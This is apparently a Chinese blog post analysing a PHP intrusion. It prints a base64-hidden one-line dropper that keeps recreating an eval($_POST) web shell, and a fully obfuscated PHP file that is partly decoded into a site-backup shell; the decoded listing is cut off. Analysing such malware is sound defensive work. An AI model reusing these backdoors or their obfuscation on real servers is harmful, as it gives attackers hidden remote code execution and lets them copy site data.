PHP隐形一句话后门，和ThinkPHP框架加密码程序(base64_decode)

今天一个客户的服务器频繁被写入：
mm.php
内容为：

<?eval($_POST[c]);?>

最后查到某文件内的第一行为以下代码：

fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); 
base64_decode("bW0ucGhw") //mm.php 
base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=") // 
<?eval($_POST[c]);?>

这样，只要这些文件被访问就会自动创建 mm.php
如果你发现了mm.php，删除了，以后还会再有的，真是越来越变态了~
下以相关内容

PD9ldmFs //base64_encode("<?eval"); 
ZXZhbA== //base64_encode("eval");

还发现一个ThinkPHP框架—sgcms的相密文件，内容以下：

<?php // Code By isosky www.nbst.org 
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=12308;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTY1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ05TWGZZT0cvUXExeWF1ak00VzlFeDh0bEk3b0FIVmR3NWhEQ3oyQjBuc3ZQcFptS2diUjNKVUxlaytyNmNUaUY9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?> 
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

解密后为：

<?php 
echo '<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title>HakeTeam Website Backup V1.0 Beta - ';echo getenv('HTTP_HOST');;echo '</title> 
<style type="text/css"> 
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{ 
margin:0;padding:0; 
} 
body { 
background:#EBEBED; 
color:#333; 
font-family:"Arial",Microsoft YaHei,Verdana,Helvetica,Arial,Sans-Serif; 
font-size:14px; 
} 
.textfield,textarea { 
border:1px solid green; 
font-size:14px; 
padding:2px; 
} 
.textfield:focus,textarea:focus { 
border-color:#F1CA7E; 
} 
.button { 
font-size:14px; 
text-decoration:none; 
margin-top:5px; 
background:#F5F5F5; 
border:1px solid green; 
color:#000; 
padding:2px 5px; 
} 
.button:hover { 
text-decoration:none; 
background:#EEE; 
border:1px solid #F1CA7E; 
color:#000; 
} 
pre { 
border:1px #ccc solid; 
line-height:18px; 
overflow:auto; 
word-wrap:break-word; 
max-height:220px; 
margin:4px; 
padding:4px 8px; 
} 
</style> 
</head> 
<form action="" method="post" name="postform"> 
<div align="left" class="searchbox"> 
'; 
ini_set('memory_limit','2048M'); 
echo "<pre> ---------------------------------------------- 
[<font color=#00BB00>*</font>]HakeTeam PHP Website Backup Shell V1.0 Beta 
[<font color=#00BB00>*</font>]Forum:http://www.hake.cc 
[<font color=#00BB00>*</font>]isosky's Blog:www.nbst.org 
---------------------------------------------- 
File List:</pre>"; 
$fdir = opendir('./'); 
while($file=readdir($fdir)) 
{ 
if($file=='.'||$file=='..') 
continue; 
echo "<input name='dfile[]' type='checkbox' value='$file' ".($file==basename(__FILE__)?'':'checked').'> '; 
if(is_file($file)) 
{ 
echo "<font face=\"wingdings\" size=\"5\">2</font>  $file<br>"; 
} 
else 
{ 
echo "<font face=\"wingdings\" size=\"5\">0</font> $file<br>"; 
} 
} 
;echo ' 
FileType: 
<input name="filetype" type="text" id="filetype" class="textfield" value="" size="50"> 
(Blank for all,use "|" to separate,e.g.:php|html|jpg) <br /> 
Backup Directory: 
<input name="todir" type="text" id="todir" class="textfield" value="iso_backup" size="41"> 
(Blank for this directory,use relative url,and you must be able to write file) 
<br> 
Backup Name: 
<input name="zipname" type="text" id="zipname" class="textfield" value="iso.zip" size="44"> 
(.zip type file) 
<br> 
<br> 
<input name="backup" type="hidden" id="backup" value="dozip"> 
<input type="submit" name="Submit" class="button" value="let\'s go!"> 
<div align="center"> 
<a href="http://nbst.org"><img src="http://nbst.org/logo.png" border="0"></a></div> 
<div> 
'; 
set_time_limit(0); 
class PHPzip 
{ 
var $file_count = 0 ; 
var $datastr_len = 0; 
var $dirstr_len = 0; 
var $filedata = ''; 
var $gzfilename; 
var $fp; 
var $dirstr=''; 
var $filefilters = array(); 
